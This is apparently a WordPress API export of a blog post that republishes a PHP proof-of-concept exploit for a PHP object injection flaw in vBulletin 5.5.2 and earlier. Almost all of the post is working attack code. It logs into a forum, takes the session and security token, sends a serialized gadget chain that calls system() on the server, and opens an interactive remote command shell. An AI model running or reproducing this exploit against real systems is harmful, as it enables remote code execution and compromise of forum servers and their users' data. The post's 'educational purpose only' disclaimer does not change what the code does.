<?php<\/p>\n
\/*
\n————————————————————–
\nvBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
\n————————————————————–<\/p>\n
author…………..: Egidio Romano aka EgiX
\nmail…………….: n0b0d13s[at]gmail[dot]com
\nsoftware link…….: https:\/\/www.vbulletin.com<\/p>\n
+————————————————————————-+
\n| This proof of concept code was written for educational purpose only. |
\n| Use it at your own risk. Author will be not responsible for any damage. |
\n+————————————————————————-+<\/p>\n[-] Vulnerability Description:<\/p>\n
User input passed through the “messageids” request parameter to \/ajax\/api\/vb4_private\/movepm is
\nnot properly sanitized before being used in a call to the unserialize() PHP function. This can
\nbe exploited by malicious users to inject arbitrary PHP objects into the application scope,
\nallowing them to carry out a variety of attacks, such as executing arbitrary PHP code.<\/p>\n[-] Technical writeup:<\/p>\n
http:\/\/karmainsecurity.com\/exploiting-an-nday-vbulletin-php-object-injection
\n*\/<\/p>\n
set_time_limit(0);
\nerror_reporting(E_ERROR);<\/p>\n
if (!extension_loaded(“curl”)) die(“[+] cURL extension required!\\n”);<\/p>\n
print “+——————————————————————+”;
\nprint “\\n| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |”;
\nprint “\\n+——————————————————————+\\n”;<\/p>\n
if ($argc != 4)
\n{
\nprint “\\nUsage……: php $argv[0] <URL> <Username> <Password>\\n”;
\nprint “\\nExample….: php $argv[0] http:\/\/localhost\/vb\/ user passwd”;
\nprint “\\nExample….: php $argv[0] https:\/\/vbulletin.com\/ evil hacker\\n\\n”;
\ndie();
\n}<\/p>\n
class googlelogin_vendor_autoload {} \/\/ fake class to include the autoloader<\/p>\n
class GuzzleHttp_HandlerStack
\n{
\nprivate $handler, $stack;<\/p>\n
function __construct($cmd)
\n{
\n$this->stack = [[“system”]]; \/\/ the callback we want to execute
\n$this->handler = $cmd; \/\/ argument for the callback
\n}
\n}<\/p>\n
class GuzzleHttp_Psr7_FnStream
\n{
\nfunction __construct($callback)
\n{
\n$this->_fn_close = $callback;
\n}
\n}<\/p>\n
function make_popchain($cmd)
\n{
\n$pop = new GuzzleHttp_HandlerStack($cmd);
\n$pop = new GuzzleHttp_Psr7_FnStream([$pop, ‘resolve’]);<\/p>\n
$chain = serialize([new googlelogin_vendor_autoload, $pop]);<\/p>\n
$chain = str_replace([‘s:’, chr(0)], [‘S:’, ‘\\00’], $chain);
\n$chain = str_replace(‘GuzzleHttp_HandlerStack’, ‘GuzzleHttp\\HandlerStack’, $chain);
\n$chain = str_replace(‘GuzzleHttp_Psr7_FnStream’, ‘GuzzleHttp\\Psr7\\FnStream’, $chain);
\n$chain = str_replace(‘0GuzzleHttp\\HandlerStack’, ‘0GuzzleHttp\\5CHandlerStack’, $chain);<\/p>\n
return $chain;
\n}<\/p>\n
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];<\/p>\n
$ch = curl_init();<\/p>\n
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
\ncurl_setopt($ch, CURLOPT_HEADER, true);<\/p>\n
print “[+] Logging in with username ‘{$user}’ and password ‘{$pass}’\\n”;<\/p>\n
curl_setopt($ch, CURLOPT_URL, $url);<\/p>\n
if (!preg_match(“\/Cookie: .*sessionhash=[^;]+\/”, curl_exec($ch), $sid)) die(“[+] Session ID not found!\\n”);<\/p>\n
curl_setopt($ch, CURLOPT_URL, “{$url}?routestring=auth\/login”);
\ncurl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
\ncurl_setopt($ch, CURLOPT_POSTFIELDS, “username={$user}&password={$pass}”);<\/p>\n
if (!preg_match(“\/Cookie: .*sessionhash=[^;]+\/”, curl_exec($ch), $sid)) die(“[+] Login failed!\\n”);<\/p>\n
print “[+] Logged-in! Retrieving security token\\n”;<\/p>\n
curl_setopt($ch, CURLOPT_URL, $url);
\ncurl_setopt($ch, CURLOPT_POST, false);
\ncurl_setopt($ch, CURLOPT_HEADER, false);
\ncurl_setopt($ch, CURLOPT_HTTPHEADER, $sid);<\/p>\n
if (!preg_match(‘\/token”: “([^”]+)”\/’, curl_exec($ch), $token)) die(“[+] Security token not found!\\n”);<\/p>\n
$params = [“routestring” => “ajax\/api\/vb4_private\/movepm”,
\n“securitytoken” => $token[1],
\n“folderid” => 1];<\/p>\n
print “[+] Launching shell\\n”;<\/p>\n
while(1)
\n{
\nprint “\\nvb-shell# “;
\nif (($cmd = trim(fgets(STDIN))) == “exit”) break;
\n$params[“messageids”] = make_popchain($cmd);
\ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
\npreg_match(‘\/(.*){“response”:\/s’, curl_exec($ch), $m) ? print $m[1] : die(“\\n[+] Exploit failed!\\n”);
\n}<\/p>\n","protected":false},"excerpt":{"rendered":"
<?php \/* ————————————————————– vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability ————————————————————– author…………..: Egidio Romano aka EgiX mail…………….: n0b0d13s[at]gmail[dot]com software link…….: https:\/\/www.vbulletin.com +————————————————————————-+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +————————————————————————-+ [-] Vulnerability …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34148","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34148","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34148"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34148\/revisions"}],"predecessor-version":[{"id":34228,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34148\/revisions\/34228"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34148"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34148"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34148"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}